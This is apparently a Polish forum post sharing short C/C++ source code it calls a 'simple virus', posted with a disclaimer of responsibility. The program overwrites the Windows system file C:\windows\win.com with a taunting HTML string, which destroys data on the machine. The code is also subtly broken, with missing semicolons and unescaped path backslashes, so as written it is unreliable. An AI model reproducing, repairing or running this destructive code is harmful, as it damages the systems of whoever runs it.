#include e-hack
Jest to prosty kod źródłowy wirusa, za wszelkie problemy NIE ODPOWIADAM. KOD ZACZERPNIĘTY Z INTERNETU
______________________________________________________________________________________________________________________
#include<iostream>
#include<conio.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>
#include <io.h>
#include <string.h>
#include <conio2.h>
int main(void)
{
system("cls")
int handle;
char string[1000];
int length, res,i;
if ((handle = open("C:\windows\win.com", O_WRONLY | O_CREAT |
O_TRUNC,
S_IREAD | S_IWRITE)) == -1)
{
printf( "Error opening file." )
exit(1);
}
strcpy(string, "<html>Tic tac, tic tac... and BooM !!! </html>" );
length = strlen(string);
if ((res = write(handle, string, length)) != length)
{
printf("Error writing to the file.");
getch();
exit(1);
}
printf("Wrote %d bytes to the file.", res);
cout << " Tic tac, " << endl;
cout<<"tic tac..."<<endl;
cout<<"and BooM !!! "<<endl;
close(handle);
getch();
return 0;
}
Offline